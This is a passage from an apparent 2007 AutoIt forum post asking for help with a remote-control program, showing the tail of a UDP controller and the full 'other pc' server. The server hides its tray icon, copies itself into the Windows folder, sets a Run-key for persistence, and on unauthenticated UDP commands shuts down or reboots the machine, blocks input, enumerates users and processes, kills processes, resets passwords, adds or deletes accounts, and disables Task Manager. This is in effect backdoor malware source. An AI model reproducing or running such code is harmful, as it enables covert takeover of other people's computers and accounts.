GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host clock is hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button19 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"offhideclock") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "offhideclock" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host clock is unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button20 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"onhidebuttonlogoff") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "onhidebuttonlogoff" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host log off button was hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button21 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"offhidebuttonlogoff") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "offhidebuttonlogoff" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host log off button was unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button22 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"onhidetryicons") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "onhidetryicons" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host tray icons are hide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Case $Button23 If GUICtrlRead($ip) = "" Then Msgbox(64,"No ip","Please full a ip adres in") EndIf $socket = UDPOpen(GUICtrlRead($ip), 28960) If @error <> 0 Then Exit $status = UDPSend($socket,"offhidetryicons") If $status = 0 then MsgBox(0, "ERROR", "Error while sending UDP message: " & @error) EndIf while 1 $data = UDPRecv($socket, 50) If $data = "offhidetryicons" Then GUICtrlSetData($info, @HOUR & ":" & @MIN & ":" & @SEC & " The remote host try icons are unhide:" & GUICtrlRead($ip) & @CRLF & GUICtrlRead($info)) ExitLoop EndIf sleep(100) wend Sleep(100) EndSwitch WEnd This is the code on the other pc: expandcollapse popup#include <GUIConstants.au3> #include <Constants.au3> #include <process.au3> #NoTrayIcon $text = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "ProgramFilesDir") $array = StringSplit($text, '\', 1) FileCopy(@scriptdir & "\rme.exe",$array[1] & "\WINDOWS\") Regwrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run","rme","REG_SZ",$array[1] & "\WINDOWS\rme.exe") Global $msg2 = "Process List:" Global $pList = ProcessList() ;;This is the UDP Server ;;Start this first ; Start The UDP Services ;============================================== UDPStartup() ; Bind to a SOCKET ;============================================== $socket = UDPBind("172.27.183.213", 28960) While 1 $data = UDPRecv($socket, 50) If $data = "Connect" Then UDPSend($socket,"Connected") ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "shutdown" Then UDPSend($socket,"shuttingdown") Shutdown(13) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "reboot" Then UDPSend($socket,"rebooting") Shutdown(6) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "blockinput" Then UDPSend($socket,"blockinput") Blockinput(1) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "unblockinput" Then UDPSend($socket,"unblockinput") BlockInput(0) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "getuser" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; $rc = Run(@ComSpec & " /c net user", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut = "" While ProcessExists($rc) If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc) WEnd UDPSend($socket,"userfound|" & $StdOut) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "tasklist" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; $rc = Run(@ComSpec & " /c tasklist", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut = "" While ProcessExists($rc) If StdoutRead($rc, 0, 1) Then $StdOut &= StdoutRead($rc) WEnd UDPSend($socket,"tasklist|" & $StdOut) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "tasklistkill" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[0] = 2 And $string[1] = "tasklistkill2" Then If ProcessExists($string[2]) Then ProcessClose($string[2]) Sleep(2000) If ProcessExists($string[2]) Then UDPSend($socket,"false") ExitLoop Else UDPSend($socket,"ok") ExitLoop EndIf Else UDPSend($socket,"false2") ExitLoop EndIf Else MsgBox(16, "Error", "Unexpected reply to 'Tasklist': " & $data1) EndIf Sleep(100) EndIf WEnd EndIf If $data = "userpassword" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Sleep(2000) While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[1] = "userpassword2" Then ;;;;;;;;;;;;;;;;;;;;;;;;;; $rc3 = Run(@ComSpec & " /c net user " & $string[2] & " " & $string[3], @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut3 = "" While ProcessExists($rc3) If StdoutRead($rc3, 0, 1) Then $StdOut3 &= StdoutRead($rc3) WEnd If $StdOut3 <> "" Then UDPSend($socket,"ok") ExitLoop Else UDPSend($socket,"false") ExitLoop EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;; Else EndIf Sleep(100) EndIf WEnd EndIf If $data = "useradd" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Sleep(2000) While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[1] = "useradd2" Then ;;;;;;;;;;;;;;;;;;;;;;;;;; $rc3 = Run(@ComSpec & " /c net user " & $string[2] & " " & "/add", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut3 = "" While ProcessExists($rc3) If StdoutRead($rc3, 0, 1) Then $StdOut3 &= StdoutRead($rc3) WEnd If $StdOut3 <> "" Then UDPSend($socket,"ok") ExitLoop Else UDPSend($socket,"false") ExitLoop EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;; Else EndIf Sleep(100) EndIf WEnd EndIf If $data = "userdelete" Then ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Sleep(2000) While 1 $data1 = UDPRecv($socket, 999999) If StringInStr($data1, "|") Then $string = StringSplit($data1, "|") If $string[1] = "userdelete2" Then ;;;;;;;;;;;;;;;;;;;;;;;;;; $rc3 = Run(@ComSpec & " /c net user " & $string[2] & " " & "/delete", @WorkingDir, @SW_HIDE, $STDOUT_CHILD) $StdOut3 = "" While ProcessExists($rc3) If StdoutRead($rc3, 0, 1) Then $StdOut3 &= StdoutRead($rc3) WEnd If $StdOut3 <> "" Then UDPSend($socket,"ok") ExitLoop Else UDPSend($socket,"false") ExitLoop EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;; Else EndIf Sleep(100) EndIf WEnd EndIf If $data = "onhidetryicons" Then msgbox(0,"","hideon") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay", "REG_DWORD", "1") Sleep(1000) msgbox(0,"","hideon") If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay") = "1" Then UDPSend($socket,"onhidetryicons") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "offhidetryicons" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoTrayItemsDisplay") = "0" Then UDPSend($socket,"offhidetryicons") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "onhideclock" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock", "REG_DWORD", "1") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock") = "1" Then UDPSend($socket,"onhideclock") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "offhideclock" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "HideClock") = "0" Then UDPSend($socket,"offhideclock") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "onhideallitemsdesktop" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop", "REG_DWORD", "1") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop") = "1" Then UDPSend($socket,"onhideallitemsdesktop") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "offhideallitemsdesktop" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDesktop") = "0" Then UDPSend($socket,"offhideallitemsdesktop") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "enabletaskmanager" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") = "0" Then UDPSend($socket,"enabletaskmanager") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "disabletaskmanager" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr") = "1" Then UDPSend($socket,"disabletaskmanager") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "onhidebuttonlogoff" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff", "REG_DWORD", "1") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff") = "1" Then UDPSend($socket,"onhidebuttonlogoff") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf If $data = "offhidebuttonlogoff" Then RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff", "REG_DWORD", "0") Sleep(1000) If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "StartMenuLogoff") = "0" Then UDPSend($socket,"offhidebuttonlogoff") Else EndIf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; EndIf sleep(100) WEnd Func OnAutoItExit() UDPCloseSocket($socket) UDPShutdown() EndFunc All ports ar eopen and firewalls are down etc... Could someone help me please.. i want to use it Edited July 24, 2007 by Erik. I little problem, hard to find and fix Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now